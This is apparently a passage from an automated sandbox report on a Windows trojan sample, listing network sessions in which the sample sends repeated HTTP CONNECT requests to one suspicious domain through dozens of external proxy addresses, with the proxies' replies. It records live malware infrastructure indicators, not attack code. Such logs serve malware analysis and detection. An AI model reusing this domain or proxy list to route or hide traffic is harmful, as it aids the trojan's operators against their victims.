Feb 23, 2024 14:28:26.882479906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.992018938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.991923094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.8	51020	95.43.244.15	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.838139057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.8	50985	190.128.228.182	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.867743969 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 14:28:24.120315075 CET	1286	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Server: Apache/2.4.56 (Ubuntu) Set-Cookie: PHPSESSID=ped525kmk15h2pl57r911tsncv; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 5101 Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 69 6d 67 2f 66 75 74 75 72 61 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 55 54 55 52 41 31 30 30 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 21 2d 2d 20 46 6f 6e 74 66 61 63 65 73 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 66 6f 6e 74 2d 66 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2d 35 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 21 2d 2d 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 6d 64 69 2d 66 6f 6e 74 2f 63 73 73 2f 6d 61 74 65 72 69 61 6c 2d 64 65 73 69 67 6e 2d 69 63 6f 6e 69 63 2d 66 6f 6e 74 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d 20 42 6f 6f 74 73 74 72 61 70 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 73 74 61 74 69 63 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 0d 0a 3c 21 2d 2d 20 63 6f 64 69 67 6f 73 20 43 53 53 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 61 6e 69 6d 73 69 74 69 6f 6e 2f 61 6e 69 6d 73 69 74 69 6f 6e 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 2f 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <link rel="icon" href="static/src/img/futura.png"> <title>FUTURA100</title><link href="css/style.css" rel="stylesheet" media="all">... Fontfaces CSS--><link href="css/font-face.css" rel="stylesheet" media="all"><link href="codigos/font-awesome-5/css/fontawesome-all.min.css" rel="stylesheet" media="all">...<link href="codigos/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all">-->... Bootstrap CSS--><link href="static/lib/css/bootstrap/bootstrap.css" rel="stylesheet" media="all">... codigos CSS<link href="codigos/animsition/animsition.min.css" rel="stylesheet" media="all"><link href="codigos/perfect-scrollbar/perfect-scrollbar.css" rel="stylesheet" media="all">-->...
Feb 23, 2024 14:28:24.120424032 CET	1286	IN	Data Raw: 20 4d 61 69 6e 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 74 6f 75 72 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 Data Ascii: Main CSS--><link href="css/bootstrap-tour.min.css" rel="stylesheet" media="all"><link href="css/bootstrap-tour-standalone.css" rel="stylesheet" media="all"><link href="css/theme.css" rel="stylesheet" media="all"><link rel="stylesh
Feb 23, 2024 14:28:24.120592117 CET	1286	IN	Data Raw: 74 72 61 70 2d 74 6f 75 72 2d 30 2e 31 32 2e 30 2f 72 65 74 69 6e 61 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 Data Ascii: trap-tour-0.12.0/retina.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.18.5/xlsx.full.min.js" integrity="sha512-r22gChDnGvBylk90+2e/ycr3RVrDi8DIOkIGNhJlKfuyQM4tIRAI062MaV8sfjQKYVGjOBaZBOA87z+IhZE9DA==" crossorigi
Feb 23, 2024 14:28:24.120805025 CET	1286	IN	Data Raw: 69 c3 b3 6e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: in</button> </div> </div> </div> </div> <div class="p-3 d-flex justify-content-center mt-5" style="background-color: rgba(0, 0, 0, -0.9);width: 400px; margin-left:auto;margin-r
Feb 23, 2024 14:28:24.120820045 CET	298	IN	Data Raw: 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 6a 73 2f 6c 6f 67 69 Data Ascii: <script src="static/src/js/main.js"></script> <script src="static/src/js/login.js"></script> <script src="static/lib/js/bootstrap-tour-0.12.0/bootstrap-tour.min.js"></script> <script src="static/lib/js/bootstrap-tour-0.12.0/bootst
Feb 23, 2024 14:28:24.121099949 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 77 0e 5e 20 1d 00 ca 88 67 cd f4 3b 88 70 88 33 1a c2 1a 47 b6 25 e6 56 23 32 98 6d 77 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ew^ g;p3G%V#2mw,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#<LoyGo$(a~;C
Feb 23, 2024 14:28:24.370346069 CET	494	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 13:28:24 GMT Server: Apache/2.4.56 (Ubuntu) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 67 72 2e 66 75 74 75 72 61 31 30 30 2e 63 6f 6d 2e 70 79 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Ubuntu) Server at agr.futura100.com.py Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.8	50143	175.106.10.227	7878	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.873117924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882419109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991995096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.009517908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.8	50941	210.211.113.34	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.874356985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.8	51070	184.178.172.5	15303	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.878923893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.8	51072	82.113.157.122	31280	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.888550043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.8	50931	124.71.131.192	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.895421982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.373648882 CET	28	IN	HTTP/1.1 502 Bad Gateway

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.8	51092	162.243.102.207	9764	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.896025896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.8	50808	115.239.234.43	7302	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.903466940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.624819994 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.8	51074	72.210.208.101	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.903877020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.8	51055	91.241.217.58	9090	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.904582977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.8	51075	184.181.217.220	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.904783964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.8	51083	46.35.9.110	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.932590961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.094922066 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.8	50979	116.199.170.17	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.935846090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.8	50234	36.91.98.115	8181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.942815065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.8	50192	171.244.140.160	17525	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.946304083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.991740942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.992295980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.009494066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.8	51027	106.51.62.106	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.966278076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:25.550879002 CET	220	IN	HTTP/1.0 403 Banned site: Content-Type: text/html<HTML><HEAD><TITLE>DansGuardian - Banned site: </TITLE></HEAD><BODY><H1>DansGuardian - Banned site: </H1>https://heygirlisheeverythingyouwantedinaman.com</BODY></HTML> Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.8	51094	98.188.47.132	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.969875097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.8	51077	31.223.22.21	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.975147963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.8	50995	183.89.40.232	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.975397110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.8	51093	193.239.58.92	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.012918949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.8	51121	152.32.238.63	38080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.015147924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.8	50695	142.54.235.9	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.023870945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.8	50264	222.111.18.67	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.024132013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.307241917 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.8	50393	184.181.217.213	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.027420044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.8	50428	166.62.38.100	8730	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.028254032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:27.194791079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.288908005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.398116112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.8	51103	174.75.211.222	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.037014961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.8	51106	68.1.210.189	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.038317919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.8	51084	93.90.212.2	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.039748907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.8	51114	174.77.111.196	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:24.063458920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

